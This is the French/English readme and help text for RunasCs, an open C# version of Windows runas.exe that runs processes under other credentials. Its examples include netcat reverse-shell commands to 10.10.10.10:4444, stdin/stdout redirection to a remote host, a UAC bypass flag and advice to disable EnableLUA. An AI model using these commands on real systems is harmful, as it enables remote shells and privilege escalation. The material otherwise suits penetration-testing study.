
RunasCs - Csharp and open version of windows builtin runas.exe
RunasCs est un utilitaire permettant d'exécuter des processus spécifiques avec des permissions différentes de celles que fournit l'ouverture de session actuelle de l'utilisateur, en utilisant des identifiants explicites. Cet outil est une version améliorée et ouverte de l'outil intégré de Windows runas.exe qui résout certaines limitations :
CreateProcessAsUser() et CreateProcessWithTokenW(), si le processus appelant dispose des privilèges requis (détection automatique)RunasCs dispose d'une détection automatique pour déterminer la meilleure fonction de création de processus pour chaque contexte. En fonction des permissions du jeton du processus appelant, il utilisera l'une des fonctions de création de processus dans l'ordre de préférence suivant :
CreateProcessAsUserW()CreateProcessWithTokenW()CreateProcessWithLogonW().NET Framework >= 2.0
RunasCs v1.5 - @splinter_code
Usage:
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]
Description:
RunasCs is an utility to run specific processes under a different user account
by specifying explicit credentials. In contrast to the default runas.exe command
it supports different logon types and CreateProcess* functions to be used, depending
on your current permissions. Furthermore it allows input/output redirection (even
to remote hosts) and you can specify the password directly on the command line.
Positional arguments:
username username of the user
password password of the user
cmd commandline for the process
Optional arguments:
-d, --domain domain
domain of the user, if in a domain.
Default: ""
-f, --function create_process_function
CreateProcess function to use. When not specified
RunasCs determines an appropriate CreateProcess
function automatically according to your privileges.
0 - CreateProcessAsUserW
1 - CreateProcessWithTokenW
2 - CreateProcessWithLogonW
-l, --logon-type logon_type
the logon type for the token of the new process.
Default: "2" - Interactive
-t, --timeout process_timeout
the waiting time (in ms) for the created process.
This will halt RunasCs until the spawned process
ends and sent the output back to the caller.
If you set 0 no output will be retrieved and a
background process will be created.
Default: "120000"
-r, --remote host:port
redirect stdin, stdout and stderr to a remote host.
Using this option sets the process_timeout to 0.
-p, --force-profile
force the creation of the user profile on the machine.
This will ensure the process will have the
environment variables correctly set.
WARNING: If non-existent, it creates the user profile
directory in the C:\Users folder.
-b, --bypass-uac
try a UAC bypass to spawn a process without
token limitations (not filtered).
-i, --remote-impersonation
spawn a new process and assign the token of the
logged on user to the main thread.
Examples:
Run a command as a local user
RunasCs.exe user1 password1 "cmd /c whoami /all"
Run a command as a domain user and logon type as NetworkCleartext (8)
RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
Run a background process as a local user,
RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
Redirect stdin, stdout and stderr of the specified command to a remote host
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
Run a command simulating the /netonly flag of runas.exe
RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
Run a command as an Administrator bypassing UAC
RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
Run a command as an Administrator through remote impersonation
RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation
Les deux processus (appelant et appelé) communiqueront via un unique pipe (à la fois pour stdout et stderr). Le type d'ouverture de session par défaut est 2 (Interactive).
Par défaut, le type d'ouverture de session Interactive (2) est restreint par UAC et le jeton généré par ces authentifications est filtré. Vous pouvez rendre l'ouverture de session interactive sans aucune restriction en définissant la clé de registre suivante à 0 et en redémarrant le serveur :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
Sinon, vous pouvez essayer l'option --bypass-uac pour tenter de contourner la limitation du filtrage des jetons.
NetworkCleartext (8) est le type d'ouverture de session qui dispose des permissions les plus larges, car il n'est pas filtré par l'UAC dans les jetons locaux et permet toujours les authentifications sur le réseau, puisqu'il stocke les identifiants dans le package d'authentification. Si vous disposez de privilèges suffisants, essayez de toujours spécifier ce type d'ouverture de session via l'option --logon-type 8.
Par défaut, le processus appelant (RunasCs) attendra la fin de l'exécution du processus créé.
Si vous avez besoin de créer un processus en arrière-plan ou asynchrone, c'est-à-dire de lancer un reverse shell, vous devez définir le paramètre -t timeout sur 0. Dans ce cas, RunasCs n'attendra pas la fin de l'exécution du processus nouvellement créé.